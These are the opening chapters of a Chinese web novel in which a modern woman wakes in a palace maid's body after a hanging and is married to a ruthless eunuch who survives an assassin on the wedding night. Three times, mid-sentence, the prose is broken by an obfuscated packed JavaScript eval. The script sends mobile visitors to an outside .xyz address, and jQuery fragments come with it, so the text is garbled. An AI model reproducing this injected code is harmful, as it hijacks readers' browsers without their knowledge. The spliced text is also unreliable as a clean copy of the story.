《太监攻略手记》 1. 赵青萍她死了又活 “啊——”一声尖叫划破了宁静的清晨。 柳絮隔壁屋子的柳丝被这尖叫声惊醒,她把外衣披在肩上就趿拉着绣鞋跑到了隔壁房间。只见柳絮呆愣愣地站在房间门口,眼神恐惧地望向屋内。柳丝快步走到她旁边,抬眼看到屋内的景象也被吓得立时定在了原地。 一个美艳的年轻女子穿着一袭粉色的宫女服饰僵硬地吊在半空,她的脖子被套在房梁上的一根白绫布牢牢固定住,白皙的脸庞已经有些发青。 “柳丝,她她她死了。”柳絮的声音颤抖道。 柳丝抬头看了一眼那上吊的女子,嘴角浮起一抹鄙夷的笑容,“活该,让她背主求荣,趁着贵妃娘娘怀孕就想爬上龙床,尽想着乌鸦变凤凰的好事。现在受不了被皇上指婚给太监,提前吊死了,也是便宜她了。” 柳絮没有反驳,显然也是同意这番话的。 她们三个都是五年前萧贵妃进宫时被选到宝安宫的宫女,开始都是在园中做洒扫。因为一次贵妃的梳头宫女生病,赵青萍自荐为贵妃梳头,从此后被贵妃提拔到了身边。青萍自负自傲,常常因为她是贵妃身边的得力丫鬟看不起她们,还指使她们干分外的活计,宝安宫上下除了贵妃应该没谁喜欢她。 “柳丝,那现在怎么办?我们去叫人过来吧。” 柳丝冷笑道;“不急,你不是说她有许多好东西藏在屋里嘛,咱们先把她的东西拿了再说。” 柳絮皱眉,“这不好吧,万一贵妃娘娘查起来怎么办?偷东西要挨板子的。” 柳丝冲她翻了一个白眼,“你不说我不说,谁能知道?别磨蹭了,一会儿人来了就不好了。”说完柳丝就走向了里间赵青萍的床位。 柳絮和赵青萍的两张床之间用一张隔屏挡住,隔屏左右的家具式样都是不一样的,赵青萍的明显更为华贵。柳丝开始在衣柜里头翻找,柳絮见状迟疑片刻也加入进去。不到一盏茶的功夫,赵青萍藏在屋里的许多金银首饰都进了她们两个的口袋。不过她们也不敢全拿走,又转身在她的梳妆盒里放了几件她常戴的。 刚想回屋把东西先放好,柳丝又想起自己屋里有个大嘴巴,要是让她看见自己拿东西回去定会嚷嚷得到处都是。只好先把东西都藏在柳絮这里,等有机会再拿回去。 “柳丝,那我们现在去叫人吧,她一直吊在上头我害怕。”柳絮说着就要开门出去叫人。 柳絮赶忙拉住她,“我去找莲心姑姑,你在这里守着。”柳丝说完就快步推门出去。 柳絮无奈只好站在门口搓着手看着柳丝远去的背影,她不敢回头,赵青萍吊在空中的样子实在是吓人。等会她一定求求莲心姑姑给她换一间房,她实在不敢再住了。 她的背后,被吊着的赵青萍却突然慢慢恢复了意识。她艰难地睁开眼发现是四周是木墙,她以为自己在做梦,脖颈上的窒息感却提醒她这一切是真的。 赵青萍伸手摸向自己的脖子,她的脖子像是被绳子套住了,她的脚也不是踩在地上而是悬在空里,她终于明白过来自己是被人吊在空中的。她伸手想要把脖子上的绳子弄断,脖子反而随着她身体的摆动被套得越来越紧。 柳絮听到身后传来呃啊的声音,她壮起胆子回头看,发现赵青萍活了!她手脚并用地在空中扑腾。 “啊————” 她尖叫着跑出屋子,好一会儿回过神后,才明白过来赵青萍应该没死,刚才或许是晕过去了。毕竟她昨晚在值夜,方才才回来,赵青萍很可能才上吊不久。 她蹲着大口喘气,心跳如鼓,眼角已经湿润一片,她抬头看四周,现在走廊里头一个人也没有,赵青萍的生死就在她的一念之间。赵青萍往日的所作所为都在她脑海里像走马灯一样浮现,她指使自己帮她干活,也在自己生病的时候帮自己熬药…… 她罪不至死! 柳絮起身跑向屋内,赵青萍整个人还在挣扎。 她赶紧把赵青萍踹倒的凳子扶正垒好,“青萍,你脚放下来,下面有凳子。”说完见她似乎没听见,又连续喊了好几声。 赵青萍感觉自己又来到了死亡的边缘,突然听到有女声在说话,她努力辨别后才知道对方在救自己。她试着稳住身体脚往下点,果然踩到了板凳。双脚踩实后,脖子上的绳子松了,窒息感一下子消失不见,她终于又能畅快呼吸了。 她站在凳子上大口呼气。 柳絮看到她活过来,心里头也松了一口气。“青萍你赶紧下来吧,别站在上头了。” 赵青萍见对方竟然知道自己的名字,好奇地往下看,见一个身着碧色古装的年轻女孩正仰头看着她。她确信根本没有见过她,而且这个地方也太像拍古装剧的摄影棚了。她垂头看刚才套住自己的是什么绳子,只见是条细长的白布片,布上还有细密的暗纹,还是一块好料子。 她脑袋一弯,白绫布从她脖颈间滑落。仰头一看,白绫布结成的锁套在空中飘荡,回想刚才的窒息感好不吓人,赵青萍冲下面的柳絮笑道:“你好,麻烦你给我找把剪刀,谢谢。” 赵青萍剪了口子,把白绫布从房梁上一把扯了下来。再慢慢地顺着凳子往下爬,双脚落在地面的时候,脑海中突然涌入许多不属于自己的记忆。 她茫然四顾,这个房间古色古香的布置不是因为这里是个摄影棚,而是因为这里是个真实的异世大陆,东临国。 她穿越了! 赵青萍本来是个通信公司的客服,昨晚加班后回家路上看到有人跳河她就下去救人,人救起来,她却溺水身亡。 而根据脑海中的记忆,这个上吊去世的人和她同名同姓,也叫赵青萍,是宝安宫中萧贵妃身前一名得脸的宫女。因为想要趁萧贵妃有孕爬上龙床,被萧贵妃发现,萧贵妃求自己的皇上表哥把她许配给了萧贵妃看不惯的另一个太监荀秋做対食。 荀秋是个年轻的太监,年方不过二十四岁。却已经走到了一人之下万人之上的巅峰,他是御前的秉笔太监也是令人闻风丧胆的玄禁卫都督。他有一副美男子的相貌,却实打实是个杀人不眨眼的恶魔,死在玄禁卫手底下的人多到不可计数。 赵青萍正是畏惧荀秋的恶名,又听许多宫里老人说太监没了子孙根,反而会特别折磨女人,她怕嫁给荀秋后遭他虐待。她当年是因躲避自己那想要把她送给别人当小妾的狠心舅舅才进宫当了丫鬟,现在又得罪了顶头上司萧贵妃,她进退无路,干脆一气之下上了吊。 赵青萍头痛不已,人家穿越都当小姐,当公主,怎么到她当个宫女还要嫁给太监啊。还有她辛辛苦苦存的买房钱,一切,都没了! “青萍,你没事吧?”柳絮见赵青萍下地后就一动不动,一脸沮丧的样子担忧地问她。 听到有人叫自己,赵青萍这才回过了神。刚想开口说话,门口就传来一个尖锐的女声:“赵青萍,你没死?!” 循声看去,也是一个穿碧色宫装的女子,身量纤长,相貌平平。她现在有了原身的记忆也认得这个人,柳絮,一个跟她完全不对付的宫女。 “怎么,我没死你很不高兴?” “这都是怎么回事?”又有一道女声加入,抬眼看去,是这宝安宫的得掌事宫女莲心。莲心身穿秋香色袄裙,面上外搭一件淡紫色比甲。看上去约莫二十六七岁,鹅蛋脸庞,眉眼不算出挑。她是萧贵妃的陪嫁丫鬟,最得萧贵妃信任,宝安宫里都称呼她一声莲心姑姑。 莲心负责管理她们这些宫女,平时很是威严,故而宫女们都有些怕她。 柳絮见是莲心,头已经缩得跟鹌鹑一样了。 莲心和原身的关系也算不上融洽,原身在萧贵妃面前得宠,有时也不把莲心的吩咐放在心上。 “莲心姑姑,我方才一时想不开要自尽,到一半又后悔了,幸得柳絮把我救了下来。”赵青萍对莲心微笑解释道。 柳丝的眼神不安地扫过赵青萍,嘴里喃喃道:“不是的,不是的,你明明死了的。我看你的腿就吊在空里一动不动。” 莲心回头瞪了柳丝一眼,柳丝急忙低下头不再说话。眼神接着又看向赵青萍,见赵青萍白皙的脖颈上确有一条醒目的红痕,连那上吊用的白绫布都还在她自己手里攥着。 她蹙起眉头,冷声道:“赵青萍,我不知道你今日要耍什么花招,我只告诉你,你和荀秋的婚事是皇上指婚的。你就是死了贵妃娘娘也能把你的尸首送到荀秋那儿去。今晚就是你的婚期,到了时间自会有人来给你梳洗打扮。你不要怨恨贵妃娘娘,这一切都是你自找的。” 说完眼神又扫了屋内其他人一眼,随后转身离开了房间。 柳丝见莲心离开,她也想要赶紧离开,活过来的赵青萍她可惹不起。她刚想转身,赵青萍就叫住了她,“柳丝,先别走。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516357|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完赵青萍就转身根据原身的记忆回了自己的床铺,翻找一会儿,果然发现记忆中放的许多金银珠钗都不见了。她确信在她上吊前东西都在原处。而刚刚只有柳絮和柳丝两人来过这里,柳絮向来胆小,她不敢来偷拿自己的东西,和她住的这些年东西从来没有掉过,那最大的嫌疑就是柳丝。 柳絮看到赵青萍在找东西,心里已经慌张起来,她无助地看向柳丝,小声道:“柳丝,怎么办啊?”柳丝撇嘴瞪了她一眼,柳絮又只好把头缩起来。 赵青萍转身回来刚好就看到这一幕,小偷还真是不打自招。 她慢悠悠走到两人身边,眼睛在两人身上来回睃,柳丝面上很是镇定,柳絮却是已经刚开始身体发抖。 “柳絮,我没记错的话,按照宫规偷东西是要打五十大板再送进慎刑司是吧?”赵青萍微笑着对柳絮说道。 想到她上次看宫人被打板子的啪啪声,柳絮被吓得面色发白,身如筛糠,她哭诉道:“青萍,不是我要拿的,是柳絮要我拿的。求求你别告诉莲心姑姑。” 柳丝见柳絮轻易就说了实话,她面色一沉,仍旧没开口说话。 这厢柳絮已经把刚才她们藏起来的东西都拿了出来。 赵青萍粗粗扫了一眼,这原身的宝贝还真不少,她看还在强作镇定的柳絮,“柳絮你不承认是吗?” “东西又不是在我房里发现的,凭什么说是我拿的?” 赵青萍随手拿起一根金簪,放到鼻尖一嗅,“我的每根簪子上都抹了贵妃娘娘赠我的奇兰香,那可是宫里独一份。此香香味经久不退,你碰了这么多,手上的味道应该三四天都散不了,你不承认那我只好现在去请莲心姑姑来闻一闻。”说完作势就要迈步往屋外走。 “等等,是我偷的,你不要去,我给你赔罪。”柳丝拉住她的衣袖,语气哀求道。谁都知道进了慎刑司没有活路,她这么年轻,她还不想死。 赵青萍看她终于承认,嘴角勾起一抹轻笑,“你说什么?我没听清。” 柳丝恨恨地看着地砖,声音大了几分,“对不住,青萍,你放过我这一次吧。” 赵青萍把袖子从她手里抽出来,冷声道:“你走吧。” 柳丝听她这话,快步走出了房间。柳絮战战兢兢地捧着那一大团的金银首饰,等待着赵青萍的发落。 赵青萍从她怀里把东西拿过来,放到了一旁的茶桌上,从中拿了一支木芙蓉样式的金簪递给柳絮,“拿着吧,你之前不是说喜欢这个嘛。” “你不怪我偷拿你的东西?”柳絮不可置信地抬头问她。 “当然怪咯,不过你也救了我,没你我可能都死了,算起来还是我要谢谢你。今晚我就要走了,之前我脾气不好有许多对不住你的地方,你多担待。”赵青萍把簪子塞到柳絮的手里,转身拿起东西回到了自己的里间。 柳絮把那金簪拿到鼻子底下细闻,“奇怪,怎么什么味道都没有啊?” 之前还担心自己辛辛苦苦存的钱打了水漂,现在看来上天还是没有薄待她,原身给她留了这么多好东西。 想到还不知道现在的自己长什么样子,见靠窗有个梳妆台,台上立着一方铜镜。她走近一看,樱桃小嘴芙蓉面,柳叶蛾眉桃花眼。赵青萍心里乐开了花,这么美的脸蛋现在是她的了。 对镜美美端详了半晌,脖子上的被勒过的地方方才开始剧烈地疼痛起来。她抬头一看,一条红痕像条红色的蛇紧紧围绕着她的脖颈。想起原身的梳妆台上有一盒舒痕膏,她打开在脖子上抹开,脖子上的刺痛感才稍稍减轻。 小瓷盒装的舒痕膏几乎已经见底,赵青萍脑海中又涌入新的记忆片段。原来这萧贵妃虽喜欢原主服侍,又厌恶原主长得太过好看,每每心里不高兴就要抬手往原主的胳膊上拧,心情好的时候又大肆对女主赏赐。宫人都只看到她得赏,以为萧贵妃很喜欢她,实际上她每天在萧贵妃面前服侍都很害怕萧贵妃突然不高兴又拿她做出气筒,所以她才想爬上龙床,以为这样就能离开宝安宫。 赵青萍撩起自己的衣袖,见两边手臂上都是些青紫的淤痕。看似风光无限的大宫女,实际上有不为人道的苦楚。她对原身的遭遇深深叹了一口气,不知她的灵魂飘往何处,愿她下辈子过得幸福。 转眼就到晚上,宝安宫的几个嬷嬷来给赵青萍草草梳妆,接着就把她赶进了花轿。 2. 喜房遇刺 花轿里头光线昏暗,白天花了很多时间来整理原身的记忆,赵青萍现在只觉脑袋胀痛,索性靠着轿子准备睡一觉再说。刚阖上眼,脑海里头突然响起一道机械的电子音: “欢迎1788号宿主进入攻略系统,您攻略的对象是太监荀秋。攻略时间为3年,3年后若爱意值达到100,您将继续存活,若没有达到,您将被系统抹杀。” 什么?! 赵青萍的瞌睡全消,合着半天她是被系统选中才穿越的,她确实在朋友的要求下预约过一个攻略系统,当时为了好玩攻略对象就选的太监,不过那都是高中的事了。 “宿主不必对此感到不满,正是因为你被系统选中才有了重生的机会,若你能在规定时间内顺利攻略预定对象,你将在这个世界继续存活,且不用再受到本系统的限制。” “我现在死了能重开吗?” “非常抱歉,不能。” 好吧,好死不如赖活着。何况她还有这么多的宝贝,赵青萍摸摸自己腿上被布包住的金银珠宝,沉甸甸的分量给了她活下去的勇气。 感受到赵青萍已经接受了自己穿越到攻略系统中的事实,系统又开口道:“攻略已经开始,系统会不定时发布单个任务,请宿主及时执行,本系统仅宿主一人可知,有需要可呼唤系统,系统即将隐蔽,预祝宿主攻略顺利。” 系统刚消失不久,花轿突然落了地,外头的喜娘冲她喊道:“新娘子,下轿了。” 赵青萍扯过一旁的盖头盖到头上,在喜娘的搀扶下下了花轿。太监成婚本是不合规矩,便省去了拜堂的环节,她下了花轿就被直接送入了洞房。 送进洞房后,宫里的人就折身去前厅吃喜酒,空荡的喜房里头只剩下赵青萍一人。 她稍微掀起盖头看了一遭周围的环境后又重新盖上了盖头。都说荀秋杀人成性,嗜血残暴,虽不知真假,这些传言至少可以说明他是一个不好惹的人。赵青萍初来乍到,只好小心为上。她安静地待在喜房,喜娘她们走后喜房的门就再也没有被谁打开过,她睁开眼满眼都是红盖头夺目的红,红得太过刺眼,她只好闭着眼睛休息。 不知等了多久,她已经坐着睡了一觉,突然喜房的门被打开,开门的声音不算大,赵青萍心却陡然提到了嗓子眼。来人在门口站定眼光在她的身上扫视,接着转过身关上了门,径直朝她走了过来。 赵青萍猜到这人应该就是她的新郎荀秋。伴随着荀秋逐渐走近的脚步声,有关原身和荀秋的过往蓦地全数在她的脑海中涌现。 原主赵青萍十二岁以前是赵记酒楼的大小姐。因其性格乖僻不讨父母喜欢,且被僧人批过命格克亲,她五岁就被扔到京郊的庄子上由嬷嬷抚养,直到十岁才被父母接回京城。她没有玩伴,父母让她到酒楼里学习算帐,她便是那时在酒楼里头遇到了跑堂的荀秋。 荀秋那时十二岁,因为哥哥病重到赵记酒楼挣些银钱给哥哥买药。原身觉得荀秋长得好看要荀秋陪自己玩。荀秋要上工无暇搭理她,她便处处使坏,经常在荀秋端着热菜的时候从背后推他,有一次荀秋的腿都被热汤烫掉了一层皮。 她父母不常来这家分店,都在京城的另一家总店里待着。掌柜因她是大小姐,也不敢斥骂于她。后来在一个飘雪的日子里,荀秋来店里讨要工钱给自己哥哥下葬,原身故意命令掌柜十天之后才能给他发工钱,掌柜只好打圆场劝荀秋回去。此后荀秋再也没有来过。听人说他为了买地埋葬他哥被人骗到宫里当了太监。 再后来就是原身在宫里看到了已经成为秉笔太监的荀秋,她不敢和荀秋相遇,怕荀秋报复于她。因为她记得荀秋在那个下雪天里对她说的话,“赵青萍,你对我做的一切,终有一天我要你百倍偿还。” 少年仇恨的声音还在耳畔回响,这厢荀秋已经挨着她在床沿上坐下。 他一句话没说,赵青萍已经感觉浑身颤栗,他是个太监就算了,他是个跟她有着不解之仇的太监啊。细细想来原身就是间接导致荀秋成为太监的人。赵青萍怕荀秋下一秒就掏出一把匕首来捅她两刀,赶紧在心里呼唤系统。 “系统,我能换个攻略人选吗?” “非常抱歉,攻略人选不可更换。” 赵青萍还想和系统再商量商量,这边荀秋已经拿起了秤杆挑起了她的盖头。没了盖头的阻拦,赵青萍的视线豁然开朗,她的眼睛正在努力适应光线,耳畔传来了一道充满磁性的嗓音,“娘子,别来无恙。” 他的声音带着笑意,赵青萍却分明感觉到了威胁。 她的心脏跳动得厉害,她深呼吸一口,稳住心神才敢慢慢侧过脸去看他。 荀秋面目英朗,长眉入鬓,一双丹凤眼明亮有神,鼻梁高挺,嘴唇薄得恰到好处。在她的生活的世界绝对可以当一个男明星了。换做平时有这样一个美男子和她说话,赵青萍可以高兴到跳起来,现在她也想跳起来,不是乐的,是被吓的。 荀秋的眼神在赵青萍的脸上流转,眼角眉梢透着笑意,细细看去,却会发现那背后是一片彻骨的冰凉。 赵青萍被他看得心里发毛,凝滞的气氛让她简直无法呼吸,她挤出一抹讨好的笑,对她唤了一声:“公公。” 紧张之下她的声音不自觉地夹了起来,荀秋听到她甜腻的嗓音心中厌恶。 见他不回应自己又眉毛微蹙,赵青萍估计他不喜欢这个称呼,便又对他改了口:“夫君。” 她说得软绵绵的,换个男人估计心都要化了,荀秋冷笑一声:“这么着急改口,咱们这交杯酒都还没喝呢?” 说完起身走到摆放有一樽白瓷酒壶的圆桌上斟酒,他的手还没触及到酒壶,就听见从房梁顶上传来一道怒喝;“阉人,受死!” 话音未落一个身穿黑衣的蒙面男刺客手持一把冷光闪闪的剑直直朝着荀秋挥去,荀秋背对着他,拿过桌上的一碟垒成小山贴着囍字的桂圆反手朝那刺客掷去,刺客被桂圆打中左眼,剑锋歪了一下砍中了圆桌。荀秋一个闪身打开了喜房的门,一时间玄禁卫把喜房门口牢牢围住。 赵青萍已经被眼前的场景吓傻,见荀秋躲了出去,屋内只剩刺客和自己,那刺客肯定会把自己当做人质,她正想钻到床底下去那刺客已经从圆桌上抽出了自己的剑,提着剑就朝赵青萍这边来。眼梢看到剑刃上的冷光,赵青萍脚软得不行。 “得罪了。”刺客一手把赵青萍从喜床上扯起来挡在自己的身前,另一只手已经把剑架到了她的脖子上。 感受到自己的脖子和剑刃近在咫尺,赵青萍怕刺客一用力就把自己给杀了,赶紧抻长了脖子企图跟剑刃保持一定的距离。 “荀秋,你这新婚的娘子在我手上,识相的就放我走。”刺客 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516358|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 对外头喊道。 持着剑的玄禁卫看到刺客把刀架在都督的新娘身上也有些无措,只是没有命令他们也不敢后退。 “都督,眼下怎么办?”说话的是玄禁卫的副都督石安远。 荀秋看了一眼走廊上头悬挂着的红灯笼,赵青萍是陛下赐给她的,他想让她死,却也不能真让她第一天就死了。 “救她。”他冷冷出声道。 听到他的吩咐,石安远忙对门口的玄禁卫道;“散开,让他出来。” 话音落地,堵在门口的玄禁卫一下子散开,赵青萍感受到身后的刺客明显地松了一口气。她被刺客当做人质却是心里一点不敢放松,刺客的剑离她这么近,黑白无常随时可能在下一瞬对她招手。 刺客推着她走出了喜房,已经入夜许久,无尽的夜空是一片墨蓝。贴着囍字的红灯笼挂在屋檐底下,灯笼下头的红色流苏在风中微微摆动。 玄禁卫身穿玄色曳撒,十几个人纷纷手持长剑呈半圆形包围着刺客。荀秋身着红色喜服站在远处,左右立着两个太监,漠然地看着眼前的一切。 赵青萍心中生出无限的绝望,凭他们两个之间的过节,他恐怕正在暗自高兴她即将死在刺客手下。 刺客见玄禁卫仍是围着他不肯让出一条生路,他把剑往赵青萍的脖子又贴近了几分。对面前的玄禁卫吼道:“你们想让她活命的话,赶紧给我让开一条路来。” 赵青萍感觉脖子上传来一阵刺痛,如果她没猜错的话她的脖子肯定破皮了。早上被布套,晚上被剑划,这个脖子跟了自己也是倒霉。 “章远怀,你是来为你哥哥报仇的?”荀秋的声音突然响起。 他话音刚毕赵青萍感到刺客手中的剑正在微微颤抖,闪烁的剑光照得她睁不开眼。 “你这个阉人凭什么提我哥哥,我哥哥忠君爱民,他是被你陷害的!”刺客激动道。 “真的吗?你哥哥一个小县官能有那几百亩的田产和十多房的姬妾,我没记错的话你能去青山书院念书也是因为你哥哥向那山长送了五百两银子。一个县官一年顶多几十两的俸银,你哥没做官以前,你家只是开个豆腐铺子的小户人家,他当了官后家里翻天覆地的奢靡变化你难道没有察觉,还是说你察觉了只是因为你也是个获利者所以你假装没有看见?” “不是的,不是的,我哥哥不是这样的人,我也不是这样的人。”荀秋的话一下子击破了他的心理防线,他整个人已经近乎崩溃。 赵青萍感觉到他架在自己脖子上的剑在无力地慢慢滑落,正当要松一口气时,嗖地一声一支箭正正射中他身后刺客的眉心。赵青萍抬头望去荀秋正把自己手里的弓交给旁边的太监。两人的视线在空中遥遥对望,他的眼神冰冷不屑。赵青萍读懂了他的意思,他在警告她,他有能力随时让她丧命。 随着咣当一声长剑落地,挟制赵青萍的刺客也已经倒地身亡。赵青萍回望那刺客一眼,他双眼睁开,眼神无望地看着前方。躲过一劫后赵青萍靠在旁边的墙上大口呼气,眼泪不由自主地从她眼睛里面滑落。 她平生第一次看到一个人的生命在她眼前消逝,她早上还对柳丝因为不想去慎刑司低下头向她道歉无感,现在就立时感受到了这个世界的残酷,她脖子上剑划破的疼痛和眼前倒地的刺客,一切都是真实的,她已经无路可退。 3. 新婚之夜 荀秋在人群的簇拥下走到刺客面前,冷冷瞥了一眼地上的刺客,眼睛又转过来看向哭得梨花带雨的赵青萍,不屑地睨她一眼后收回了视线。 “都督,此人怎么处置?”石安远问。 “刺杀朝廷命官,挟持人质,哪一条都够他死了,随便找个地方扔出去埋了吧。” “是,下官领命。”石安远抬下巴示意眼前的玄禁卫千户王筹,王筹朝他颔首随后招呼其他兄弟把尸首抬走。随着石安远离开,玄禁卫也紧跟着离开了庭院,院子里头只剩下荀秋和他身边的两个太监。 荀秋走到赵青萍面前,用食指挑起她的脸,看到她脖子上的血痕,嗤笑道:“真可怜,吓成这个样子。” 荀秋的手指冷冰冰的,像条没有温度的毒蛇,被他一碰触赵青萍打了一个激灵。听到他似关心更似嘲讽的话,心里更是畏惧。 荀秋朝旁边的太监宝全勾手,宝全会意从兜里拿出一张干净的手帕递给赵青萍,和气道:“夫人,老爷他不喜欢别人掉眼泪,你擦擦吧。” “谢谢。”赵青萍接过手帕,擦了擦自己满脸的泪水,素白的手帕上不多时就沾满了从脸上擦下来的一片红腻胭脂。 荀秋嫌弃从赵青萍的脸上挪开,转身走下了台阶,对身后的宝全吩咐道:“宝全,带夫人回主院让夫人好好收拾一下。”说完就大踏步地离开。 等他走后赵青萍这才抬眼环视这个布置了喜房的院子,院子很空很大,至少有七八间房间。房间里头全是黑漆漆的,除了他们几个没见到一个人影,只有走廊上的糊了囍字的红灯笼高高挂着,有风吹过,像墓地中的鬼火一般颤动。 见她打量这个院子,宝全给她介绍道:“夫人,这个院子原本是给你准备的,可现在出了人命不好叫你再继续住在这里,老爷说就让夫人住到主院去。走吧,夫人,我给你带路。” 赵青萍收回视线看向对自己说话的宝全,他看上去约莫四十多岁,中等身材,短眉圆眼,皮肤偏白,眼角有许多笑纹,看上去让人很有亲和感。 赵青萍跟着宝全走出了这座荒凉的院子,沿着甬道走了许久才进入了主院的范围,这里灯火通明,仆人们进出有序,与刚才喜房所在的荒凉院落形成了鲜明的对比。她恍然大悟,荀秋就是故意把喜房放在那个院子里头好吸引刺客躲藏,她被刺客挟持估计也是他一早就预料到的。 两个穿着蓝色直裰的小太监元一和元二站在卧房的门口,见到宝全恭敬地行礼道:“宝公公,东西已经预备齐整了。” 宝全冲他们点点头,又侧过身子对身后的赵青萍笑着说道;“夫人,里头洗漱的东西已经准备好了,府里暂时还没有小丫鬟,等明日奴才派人去买两个回来伺候夫人,今日只好委屈夫人自己来了。” “不碍事,我自己来就好。”赵青萍心想这宝全公公对自己这么客气完全是因为她还不知道荀秋和自己的纠葛。 她走进卧房四处打量,这屋内的陈设简朴干净,不像是荀秋的住所。发现卧房左侧有一道细竹帘,连接着里头被当做浴室用的耳房。 赵青萍掀起帘子,走进浴室,里头的浴桶已经放好了热水。围着浴桶摆放有一架六折的围屏,浴桶旁边摆放还一个小几,小几上面的托盘上头是两件寝衣。 她转身回去把卧房的门关上。又仔细确认屋内没人,但是她也不敢磨蹭,快速脱掉自己一身的喜服随便洗了个澡就开始赶紧拿了托盘上面的第一件衣裳穿上。碧绿色的寝衣倒还合适她的身材。 洗完澡后赵青萍又朝外头喊了一声,元一和元二从外头进入二房把浴桶清理安静,随后就退了出去。屋里只有她一人,赵青萍觉得浑身放松,看来荀秋是打算把她扔在这里,用新婚夜不和她同房来羞辱她。她是一点不在乎这个,只要荀秋不要取她小命就什么都好说。 她已经筋疲力尽,走到里间的架子床边脱了鞋就躺了上去,四四方方的枕头硌得她脖子痛,一时也顾不上计较这些,闭上眼睛很快就睡了过去。 荀秋那厢已经换了一身月魄色的道袍坐在书房的紫檀木官帽椅上看书,身着蓝色直裰的孙昊站在他身后侍奉。宝全走进书房,越过雕花隔屏走到里间书案旁,“老爷,夫人已经洗漱好了。” 荀秋点点头,又过了一盏茶的功夫看完手里的几页才合上书起身往卧房走去。 推开卧房的门,里头的灯都亮着,往里走入耳传来女人细碎的鼾声。 荀秋心想赵青萍倒是自在,在他的卧房竟然能睡过去。他踱步走到里间,架子床上赵青萍正裹着被子睡得香甜。他起身拿起面盆架上的白布巾放到铜盆里头浸湿拧干,折身过来叠成两层盖到赵青萍的口鼻之上。 赵青萍正做着她买大房子的美梦,忽然感觉呼吸越来越难受,窒息的感觉又再一次袭来。她陡然梦醒,扯掉口鼻上的遮盖物,发现是一张濡湿的布巾。她偏过头看见荀秋正坐在床边盯着她看,脸上挂着冷冰冰的笑。 赵青萍彻底清醒过来,荀秋实在太可怕了,她不由自主地拉紧了身上的被子。 “娘子,你醒啦?” “夫君,你什么时候来的?这么晚了你不回房睡觉吗?” 荀秋伸出手用手背在赵青萍的脸上轻触,“娘子可能搞错了一件事情,这里就是我的卧房,或者说现在是我们两人的卧房。” 听他说完这话赵青萍有马上想翻身逃跑的冲动,他冰冷的手背在她的脸上游移,赵青萍觉得一条毒蛇正缠着她的身体随时要冲她咬上一口。赵青萍别过眼去不再看他,身子在被子底下发颤。 “再说了,新婚之夜我怎么忍心让娘子独守空房呢,我虽是个不中用的,却也去寻了一些宝贝,保证能让娘子快活。” 说完起身去了旁边的衣柜,赵青萍看他走开也飞身从床上起来,穿好绣鞋站在一边。 荀秋从衣柜的隔层里头拿出一个七寸长的黑漆雕花匣子,转过身见赵青萍已经起身,他也不意外,笑着把手里的匣子递给对方。 “娘子打开看看喜不喜欢?” 赵青萍听到荀秋说的话已经猜到是什么,打开看到里头是各色材质雕刻得栩栩如生的器具还是感觉到了震撼。她赶紧合上匣子,没想到到这太监真的还有点变态,不过他刚才能想出用湿毛巾把自己叫醒的方式,用角先生来吓唬她也没有什么奇怪。 荀秋看到赵青萍居然没有把匣子扔到地上尖叫倒是有点出乎他的预料,转念又觉得这赵青萍肯定是见怪不怪才会这么镇定,心中对她又增添了一分鄙夷。 “娘子不喜欢吗?”荀秋问。 赵青萍没吃过猪肉也是见过猪跑的,她可不是原身那样不知人事的小姑娘,荀秋的眼神里头分明透露着对自己的厌恶,不可能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16516359|186234||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真的要和自己同房。她眼珠子一转,想到干脆她也吓他一吓。 赵青萍把匣子放到一旁的梳妆台上,走过来双目含情地看着荀秋,“夫君,妾身还是更想和你一起。春宵一刻值千金,夫君我们就寝吧。” 赵青萍说完就把手搭上了荀秋的腰带,慢慢地解开,她就不信这个死太监真的能容忍自己脱他衣服。 看着赵青萍恬不知耻的行为,荀秋怒火中烧,她拉住赵青萍的手,“娘子这就等不急了?” 说完拦腰把赵青萍一抱,走了几步扔到了架子床上。 被他狠狠一扔,赵青萍尾椎骨都痛了,死太监真是不懂怜香惜玉。赵青萍装作一副害怕的样子,看他下一步还要做什么。 见她终于害怕,荀秋满意地勾起了嘴角,他俯身上前,作势要用手去解赵青萍的衣带。 赵青萍瞥到他身体远远地坐在床沿,一看就是不想和自己有所接触。她心中冷笑,直接扯住荀秋的衣领,一个翻身把荀秋压在床上,“夫君,还是让妾身来服侍你吧。”说完就去扯荀秋的衣裳。 一下子局势颠倒,荀秋没有和女人有过这么亲密的接触,看到赵青萍的手已经摸到自己的胸口,他气得咬紧了牙关。 赵青萍惊叹于荀秋的肌肤特别白净,摸上去还特别细腻,搞得她有点爱不释手。 真是个不知廉耻的女人,连太监都要勾引,荀秋用力推开身上的赵青萍,翻身从床上起来。冲着门口大喊:“来人。” 赵青萍被他推得猝不及防,脑袋差点都磕到架子床上。 